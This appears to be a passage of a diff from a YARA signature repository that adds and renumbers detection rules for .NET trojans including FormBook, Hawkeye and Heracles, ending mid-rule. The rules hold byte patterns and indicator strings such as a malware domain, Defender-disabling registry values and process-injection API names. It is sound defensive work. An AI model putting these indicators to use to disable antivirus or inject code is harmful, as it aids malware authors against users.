b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZIU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_ZIU_MTB{ + meta: + description = "Trojan:BAT/Formbook.ZIU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {11 04 15 5f 13 09 11 09 06 17 17 28 ?? 00 00 0a 5a 06 17 16 28 ?? 00 00 0a 26 16 58 06 17 18 28 ?? 00 00 0a 26 16 58 13 0a 02 11 08 11 0a 6f ?? 00 00 0a 13 0b 12 0b 28 ?? 00 00 0a 13 0c 12 0b 28 ?? 00 00 0a 13 0d 12 0b 28 ?? 00 00 0a 13 0e 04 03 6f ?? 00 00 0a 59 13 0f 11 0f 19 fe 04 16 fe 01 13 10 11 10 2c 54 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZKV_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZKV_MTB.yar new file mode 100644 index 0000000000..5352171dca --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZKV_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Formbook_ZKV_MTB{ + meta: + description = "Trojan:BAT/Formbook.ZKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {11 05 09 17 94 2f 0b 03 6f ?? 00 00 0a 04 fe 04 2b 01 16 13 0a 11 0a 2d 95 08 08 61 0c 00 11 04 17 58 13 04 11 04 09 16 94 2f 0b 03 6f ?? 00 00 0a 04 fe 04 2b 01 16 13 0b 11 0b } //6 + $a_03_1 = {07 02 11 04 11 05 6f ?? 00 00 06 13 06 04 03 6f ?? 00 00 0a 59 13 07 11 07 19 28 ?? 00 00 06 13 08 11 08 2c 0d 00 03 11 06 28 ?? 00 00 06 00 00 2b 18 11 07 16 fe 02 13 09 11 09 2c 0d } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZNU_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZNU_MTB.yar new file mode 100644 index 0000000000..a9f03939a5 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZNU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_ZNU_MTB{ + meta: + description = "Trojan:BAT/Formbook.ZNU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {26 16 58 06 17 18 28 ?? 00 00 0a 26 16 58 13 08 02 11 07 11 08 6f ?? 00 00 0a 13 09 12 09 28 ?? 00 00 0a 13 0a 12 09 28 ?? 00 00 0a 13 0b 12 09 28 ?? 00 00 0a 13 0c 04 03 6f ?? 00 00 0a 59 13 0d 11 0d 19 32 4f } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZSU_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZSU_MTB.yar new file mode 100644 index 0000000000..ac823ed05c --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZSU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_ZSU_MTB{ + meta: + description = "Trojan:BAT/Formbook.ZSU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {03 11 07 6f ?? 00 00 0a 03 11 07 17 da 6f ?? 00 00 0a 28 ?? 00 00 0a 03 11 07 17 da 6f ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a 13 08 08 11 08 6f ?? 00 00 0a 00 11 07 17 d6 13 07 11 07 11 06 31 be } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZZT_MTB.yar b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZZT_MTB.yar new file mode 100644 index 0000000000..9ef03bd115 --- /dev/null +++ b/Trojan/BAT/FormBook/Trojan_BAT_Formbook_ZZT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Formbook_ZZT_MTB{ + meta: + description = "Trojan:BAT/Formbook.ZZT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {26 02 11 13 11 14 6f ?? 01 00 0a 13 16 11 0b 11 15 12 16 28 ?? 01 00 0a 6f ?? 01 00 0a 12 16 28 ?? 01 00 0a 13 17 12 16 28 ?? 01 00 0a 13 18 12 16 28 ?? 01 00 0a 13 19 11 17 11 18 58 11 19 58 26 04 03 6f ?? 01 00 0a 59 25 17 28 ?? 01 00 0a 8d db 00 00 01 26 19 28 ?? 01 00 0a 13 1a 11 1a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Fsysna/Trojan_BAT_Fsysna_AYA_MTB.yar b/Trojan/BAT/Fsysna/Trojan_BAT_Fsysna_AYA_MTB.yar new file mode 100644 index 0000000000..42136ae31a --- /dev/null +++ b/Trojan/BAT/Fsysna/Trojan_BAT_Fsysna_AYA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_Fsysna_AYA_MTB{ + meta: + description = "Trojan:BAT/Fsysna.AYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_00_0 = {6d 00 72 00 6c 00 6f 00 67 00 6f 00 6e 00 75 00 69 00 2e 00 72 00 75 00 } //2 mrlogonui.ru + $a_01_1 = {73 76 63 68 6f 73 74 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 } //1 svchost.Form1.resources + $a_00_2 = {44 00 69 00 73 00 61 00 62 00 6c 00 65 00 41 00 6e 00 74 00 69 00 53 00 70 00 79 00 77 00 61 00 72 00 65 00 } //1 DisableAntiSpyware + $a_00_3 = {44 00 69 00 73 00 61 00 62 00 6c 00 65 00 41 00 6e 00 74 00 69 00 56 00 69 00 72 00 75 00 73 00 } //1 DisableAntiVirus + $a_00_4 = {44 00 69 00 73 00 61 00 62 00 6c 00 65 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 } //1 DisableRealtimeMonitoring + condition: + ((#a_00_0 & 1)*2+(#a_01_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Genie/Trojan_BAT_Genie_PGG_MTB.yar b/Trojan/BAT/Genie/Trojan_BAT_Genie_PGG_MTB.yar new file mode 100644 index 0000000000..06ee214c0e --- /dev/null +++ b/Trojan/BAT/Genie/Trojan_BAT_Genie_PGG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Genie_PGG_MTB{ + meta: + description = "Trojan:BAT/Genie.PGG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 05 2c 75 00 0f 01 28 ?? 00 00 0a 1f 10 62 0f 01 28 ?? 00 00 0a 1e 62 60 0f 01 28 ?? 00 00 0a 60 13 06 02 19 8d 88 00 00 01 25 16 11 06 1f 10 63 20 ff 00 00 00 5f d2 9c 25 17 11 06 1e 63 20 ff 00 00 00 5f d2 9c 25 18 11 06 20 ff 00 00 00 5f d2 9c 6f ?? 00 00 0a 00 06 11 06 5a 13 07 11 07 16 fe 04 13 08 11 08 2c 0c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Hawkeye/Trojan_BAT_Hawkeye_AHE_MTB.yar b/Trojan/BAT/Hawkeye/Trojan_BAT_Hawkeye_AHE_MTB.yar index 9967ee27c7..109fdbb39a 100644 --- a/Trojan/BAT/Hawkeye/Trojan_BAT_Hawkeye_AHE_MTB.yar +++ b/Trojan/BAT/Hawkeye/Trojan_BAT_Hawkeye_AHE_MTB.yar @@ -3,13 +3,23 @@ rule Trojan_BAT_Hawkeye_AHE_MTB{ meta: description = "Trojan:BAT/Hawkeye.AHE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : + $a_01_0 = {17 58 20 00 01 00 00 5d 13 07 08 11 05 11 07 91 58 20 00 01 00 00 5d 0c 11 05 11 07 91 13 0b 11 05 11 07 11 05 08 91 9c 11 05 08 11 0b 9c 11 05 11 07 91 11 05 08 91 58 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_BAT_Hawkeye_AHE_MTB_2{ + meta: + description = "Trojan:BAT/Hawkeye.AHE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : $a_01_0 = {0c 0a 2b 37 02 50 06 02 50 8e b7 5d 02 50 06 02 50 8e b7 5d 91 03 06 03 8e b7 5d 91 61 02 50 06 17 d6 02 50 8e b7 5d 91 da 20 00 01 00 00 d6 20 00 01 00 00 5d b4 9c 06 17 d6 0a 06 08 } //1 condition: ((#a_01_0 & 1)*1) >=1 } -rule Trojan_BAT_Hawkeye_AHE_MTB_2{ +rule Trojan_BAT_Hawkeye_AHE_MTB_3{ meta: description = "Trojan:BAT/Hawkeye.AHE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " diff --git a/Trojan/BAT/Hawkeye/Trojan_BAT_Hawkeye_AHW_MTB.yar b/Trojan/BAT/Hawkeye/Trojan_BAT_Hawkeye_AHW_MTB.yar index 775af71a06..621df4696b 100644 --- a/Trojan/BAT/Hawkeye/Trojan_BAT_Hawkeye_AHW_MTB.yar +++ b/Trojan/BAT/Hawkeye/Trojan_BAT_Hawkeye_AHW_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_Hawkeye_AHW_MTB{ + meta: + description = "Trojan:BAT/Hawkeye.AHW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {13 0a 2b 59 11 06 17 58 20 00 01 00 00 5d 13 06 08 11 04 11 06 91 58 20 00 01 00 00 5d 0c 11 04 11 06 91 13 0b 11 04 11 06 11 04 08 91 9c 11 04 08 11 0b 9c 11 04 11 06 91 11 04 08 91 58 20 00 01 00 00 5d 13 09 02 50 11 0a 02 50 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_BAT_Hawkeye_AHW_MTB_2{ meta: description = "Trojan:BAT/Hawkeye.AHW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " @@ -9,7 +19,7 @@ rule Trojan_BAT_Hawkeye_AHW_MTB{ ((#a_03_0 & 1)*2) >=2 } -rule Trojan_BAT_Hawkeye_AHW_MTB_2{ +rule Trojan_BAT_Hawkeye_AHW_MTB_3{ meta: description = "Trojan:BAT/Hawkeye.AHW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -20,7 +30,7 @@ rule Trojan_BAT_Hawkeye_AHW_MTB_2{ ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_Hawkeye_AHW_MTB_3{ +rule Trojan_BAT_Hawkeye_AHW_MTB_4{ meta: description = "Trojan:BAT/Hawkeye.AHW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " @@ -31,7 +41,7 @@ rule Trojan_BAT_Hawkeye_AHW_MTB_3{ ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 } -rule Trojan_BAT_Hawkeye_AHW_MTB_4{ +rule Trojan_BAT_Hawkeye_AHW_MTB_5{ meta: description = "Trojan:BAT/Hawkeye.AHW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " diff --git a/Trojan/BAT/Hawkeye/Trojan_BAT_Hawkeye_AWH_MTB.yar b/Trojan/BAT/Hawkeye/Trojan_BAT_Hawkeye_AWH_MTB.yar new file mode 100644 index 0000000000..468ea9b969 --- /dev/null +++ b/Trojan/BAT/Hawkeye/Trojan_BAT_Hawkeye_AWH_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Hawkeye_AWH_MTB{ + meta: + description = "Trojan:BAT/Hawkeye.AWH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {16 0a 2b 16 7e 03 00 00 04 06 7e 03 00 00 04 06 91 1f ?? 61 d2 9c 06 17 58 0a 06 7e 03 00 00 04 8e 69 32 e0 } //1 + $a_03_1 = {16 0c 2b 33 28 ?? 00 00 06 06 07 9a 6f ?? 00 00 0a 74 ?? 00 00 1b 0d 09 16 7e ?? 00 00 04 08 09 8e 69 17 59 28 ?? 00 00 0a 08 09 8e 69 58 0c 08 17 59 0c 07 17 58 0b 07 06 8e 69 } //2 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AAYA_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AAYA_MTB.yar index bba5ae3308..821625f3e7 100644 --- a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AAYA_MTB.yar +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AAYA_MTB.yar @@ -8,4 +8,18 @@ rule Trojan_BAT_Heracles_AAYA_MTB{ condition: ((#a_03_0 & 1)*5) >=5 +} +rule Trojan_BAT_Heracles_AAYA_MTB_2{ + meta: + description = "Trojan:BAT/Heracles.AAYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 00 " + + strings : + $a_03_0 = {03 1f 3c 28 ?? 00 00 0a 13 04 03 11 04 1f 34 58 28 ?? 00 00 0a 13 05 20 b3 00 00 00 8d ?? 00 00 01 13 06 11 06 16 20 02 00 01 00 9e 28 ?? 00 00 0a 1a 33 1b 7e ?? 00 00 04 12 03 7b ?? 00 00 04 11 06 6f ?? 00 00 06 2d 21 } //4 + $a_03_1 = {03 11 0d 1f 0c 58 28 ?? 00 00 0a 13 10 03 11 0d 1f 10 58 28 ?? 00 00 0a 13 11 03 11 0d 1f 14 58 28 ?? 00 00 0a 13 12 11 11 2c 3e 11 11 8d ?? 00 00 01 13 13 03 11 12 11 13 16 11 13 8e 69 28 ?? 00 00 0a 7e ?? 00 00 04 12 03 7b ?? 00 00 04 11 0c 11 10 58 11 13 11 13 8e 69 12 01 6f ?? 00 00 06 2d 06 73 ?? 00 00 0a 7a 11 0d 1f 28 58 13 0d 11 0f 17 58 13 0f 11 0f 11 0e 32 84 } //4 + $a_01_2 = {61 00 32 00 56 00 79 00 62 00 6d 00 56 00 73 00 4d 00 7a 00 49 00 3d 00 } //1 a2VybmVsMzI= + $a_01_3 = {56 00 6d 00 6c 00 79 00 64 00 48 00 56 00 68 00 62 00 45 00 46 00 73 00 62 00 47 00 39 00 6a 00 52 00 58 00 67 00 3d 00 } //1 VmlydHVhbEFsbG9jRXg= + $a_01_4 = {51 00 33 00 4a 00 6c 00 59 00 58 00 52 00 6c 00 55 00 48 00 4a 00 76 00 59 00 32 00 56 00 7a 00 63 00 30 00 45 00 3d 00 } //1 Q3JlYXRlUHJvY2Vzc0E= + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*4+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=11 + } \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ACXA_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ACXA_MTB.yar new file mode 100644 index 0000000000..cbda41c830 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ACXA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Heracles_ACXA_MTB{ + meta: + description = "Trojan:BAT/Heracles.ACXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 02 11 03 11 00 11 03 91 11 01 11 03 11 01 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 20 } //5 + $a_01_1 = {11 03 17 58 13 03 20 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AE_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AE_MTB.yar new file mode 100644 index 0000000000..00289e86c2 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_AE_MTB{ + meta: + description = "Trojan:BAT/Heracles.AE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {91 0c 06 07 02 07 91 08 61 07 1f 28 28 24 00 00 06 5a 1f 2c 28 24 00 00 06 5f 61 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AFVA_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AFVA_MTB.yar new file mode 100644 index 0000000000..42549108c3 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AFVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_AFVA_MTB{ + meta: + description = "Trojan:BAT/Heracles.AFVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {03 08 03 8e 69 5d 03 08 03 8e 69 5d 1b 58 1b 59 91 07 08 07 8e 69 5d 1c 58 1b 59 17 59 91 61 03 08 1c 58 1b 59 03 8e 69 5d 1c 58 1b 59 17 59 91 59 20 fc 00 00 00 58 1a 58 20 00 01 00 00 5d d2 9c 08 17 58 0c } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AGRA_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AGRA_MTB.yar new file mode 100644 index 0000000000..6804102dce --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AGRA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_AGRA_MTB{ + meta: + description = "Trojan:BAT/Heracles.AGRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 0b 06 07 16 1a 6f ?? 00 00 0a 26 07 16 28 ?? 00 00 0a 0c 06 16 73 ?? 00 00 0a 0d 2b 36 8d ?? 00 00 01 2b 32 16 2b 33 2b 1c 2b 33 2b 34 2b 36 08 11 05 59 6f ?? 00 00 0a 13 06 11 06 2c 0c 11 05 11 06 58 13 05 11 05 08 32 df 1b 2c ed 11 04 13 07 de 36 08 2b c7 13 04 2b ca 13 05 2b c9 09 2b ca 11 04 2b c8 11 05 2b c6 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AIVA_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AIVA_MTB.yar new file mode 100644 index 0000000000..9b82e2828c --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AIVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Heracles_AIVA_MTB{ + meta: + description = "Trojan:BAT/Heracles.AIVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0c 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 6f ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 17 73 ?? 00 00 0a 13 05 2b 32 2b 34 16 2b 34 8e 69 2b 33 2b 38 2b 3a 2b 3f 2b 41 2b 46 11 06 72 ?? ?? 00 70 03 28 ?? ?? 00 06 05 72 ?? ?? 00 70 6f ?? 00 00 0a 17 0b dd ?? 00 00 00 11 05 2b ca 06 2b c9 06 2b c9 6f ?? 00 00 0a 2b c6 11 05 2b c4 6f ?? 00 00 0a 2b bf 11 04 2b bd 6f ?? 00 00 0a 2b b8 13 06 2b b6 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AMWA_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AMWA_MTB.yar new file mode 100644 index 0000000000..2e778fba50 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_AMWA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Heracles_AMWA_MTB{ + meta: + description = "Trojan:BAT/Heracles.AMWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 00 " + + strings : + $a_03_0 = {06 17 17 28 ?? 00 00 0a 5a 06 17 16 28 ?? 00 00 0a 26 16 58 06 17 18 28 ?? 00 00 0a 26 16 58 13 21 1b 8d ?? 00 00 01 25 16 72 ?? ?? 00 70 a2 25 17 12 17 28 ?? 00 00 0a a2 25 18 72 ?? ?? 00 70 a2 25 19 12 21 28 ?? 00 00 0a a2 25 1a 72 ?? ?? 00 70 a2 28 } //5 + $a_01_1 = {19 8d 78 00 00 01 25 16 11 25 9c 25 17 11 26 9c 25 18 11 27 9c 13 32 11 3e } //2 + $a_03_2 = {1b 8d 75 00 00 01 25 16 12 25 28 ?? 00 00 0a a2 25 17 72 ?? ?? 00 70 a2 25 18 12 26 28 ?? 00 00 0a a2 25 19 72 ?? ?? 00 70 a2 25 1a 12 27 28 ?? 00 00 0a a2 28 ?? 00 00 06 13 28 11 28 28 ?? 00 00 06 13 29 11 3e } //2 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*2+(#a_03_2 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_APXA_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_APXA_MTB.yar new file mode 100644 index 0000000000..974a54aa68 --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_APXA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Heracles_APXA_MTB{ + meta: + description = "Trojan:BAT/Heracles.APXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {03 1f 3c 28 ?? 00 00 0a 13 08 03 11 08 1f 34 58 28 ?? 00 00 0a 13 09 20 b3 00 00 00 8d ?? 00 00 01 13 0a 16 13 0b 2b 0f 11 0a 11 0b 11 0b 06 61 9e 11 0b 17 58 13 0b 11 0b 11 0a 8e 69 32 e9 11 0a 16 20 02 00 01 00 9e 28 ?? 00 00 0a 1a 33 1b } //4 + $a_03_1 = {03 11 12 1f 0c 58 28 ?? 00 00 0a 13 16 03 11 12 1f 10 58 28 ?? 00 00 0a 13 17 03 11 12 1f 14 58 28 ?? 00 00 0a 13 18 11 17 2c 3e 11 17 8d ?? 00 00 01 13 19 03 11 18 11 19 16 11 19 8e 69 28 ?? 00 00 0a 7e ?? 00 00 04 12 07 7b ?? 00 00 04 11 11 11 16 58 11 19 11 19 8e 69 12 05 6f ?? 00 00 06 2d 06 73 ?? 00 00 0a 7a 11 12 1f 28 58 13 12 11 15 17 58 13 15 11 15 11 13 32 84 } //2 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ASXA_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ASXA_MTB.yar new file mode 100644 index 0000000000..1712139bfe --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_ASXA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_Heracles_ASXA_MTB{ + meta: + description = "Trojan:BAT/Heracles.ASXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 00 " + + strings : + $a_03_0 = {03 11 11 1f 0c 58 28 ?? 00 00 0a 13 14 03 11 11 1f 10 58 28 ?? 00 00 0a 13 15 03 11 11 1f 14 58 28 ?? 00 00 0a 13 16 11 15 2c 3e 11 15 8d ?? 00 00 01 13 17 03 11 16 11 17 16 11 17 8e 69 28 ?? 00 00 0a 7e ?? 00 00 04 12 07 7b ?? 00 00 04 11 10 11 14 58 11 17 11 17 8e 69 12 05 6f ?? 00 00 06 2d 06 73 ?? 00 00 0a 7a 11 11 1f 28 58 13 11 11 13 17 58 13 13 11 13 11 12 32 84 } //4 + $a_03_1 = {03 1f 3c 28 ?? 00 00 0a 13 08 03 11 08 1f 34 58 28 ?? 00 00 0a 13 09 20 b3 00 00 00 8d ?? 00 00 01 13 0a 11 0a 16 20 02 00 01 00 9e 28 ?? 00 00 0a 1a 33 1b 7e ?? 00 00 04 12 07 7b ?? 00 00 04 11 0a 6f ?? 00 00 06 2d 21 } //2 + $a_01_2 = {61 00 32 00 56 00 79 00 62 00 6d 00 56 00 73 00 4d 00 7a 00 49 00 3d 00 } //1 a2VybmVsMzI= + $a_01_3 = {56 00 6d 00 6c 00 79 00 64 00 48 00 56 00 68 00 62 00 45 00 46 00 73 00 62 00 47 00 39 00 6a 00 52 00 58 00 67 00 3d 00 } //1 VmlydHVhbEFsbG9jRXg= + $a_01_4 = {51 00 33 00 4a 00 6c 00 59 00 58 00 52 00 6c 00 55 00 48 00 4a 00 76 00 59 00 32 00 56 00 7a 00 63 00 30 00 45 00 3d 00 } //1 Q3JlYXRlUHJvY2Vzc0E= + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_A_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_A_MTB.yar new file mode 100644 index 0000000000..09920ddc5e --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Heracles_A_MTB{ + meta: + description = "Trojan:BAT/Heracles.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {01 13 08 11 0d 20 ea 3e 8b f7 5a 20 95 f0 0e 96 61 38 09 ff ff ff 11 07 1f 0e 11 07 1f 0e 95 09 1f 0e 95 61 } //2 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + $a_01_2 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_3 = {44 65 62 75 67 67 65 72 4e 6f 6e 55 73 65 72 43 6f 64 65 41 74 74 72 69 62 75 74 65 } //1 DebuggerNonUserCodeAttribute + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_BAC_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_BAC_MTB.yar index 354b5291bb..76e94a9073 100644 --- a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_BAC_MTB.yar +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_BAC_MTB.yar @@ -8,14 +8,4 @@ rule Trojan_BAT_Heracles_BAC_MTB{ condition: ((#a_01_0 & 1)*4) >=4 -} -rule Trojan_BAT_Heracles_BAC_MTB_2{ - meta: - description = "Trojan:BAT/Heracles.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " - - strings : - $a_01_0 = {00 11 09 11 0b 58 06 11 0b 58 47 08 11 0b 08 6f 05 00 00 0a 5d 6f 06 00 00 0a 61 d2 52 00 11 0b 17 58 13 0b 11 0b 07 8e 69 fe 04 13 0c 11 0c 2d cf } //2 - condition: - ((#a_01_0 & 1)*2) >=2 - } \ No newline at end of file diff --git a/Trojan/BAT/Heracles/Trojan_BAT_Heracles_BAD_MTB.yar b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_BAD_MTB.yar new file mode 100644 index 0000000000..492ad3be2d --- /dev/null +++ b/Trojan/BAT/Heracles/Trojan_BAT_Heracles_BAD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Heracles_BAD_MTB{ + meta: + description = "Trojan:BAT/Heracles.BAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {02 8e 69 8d 04 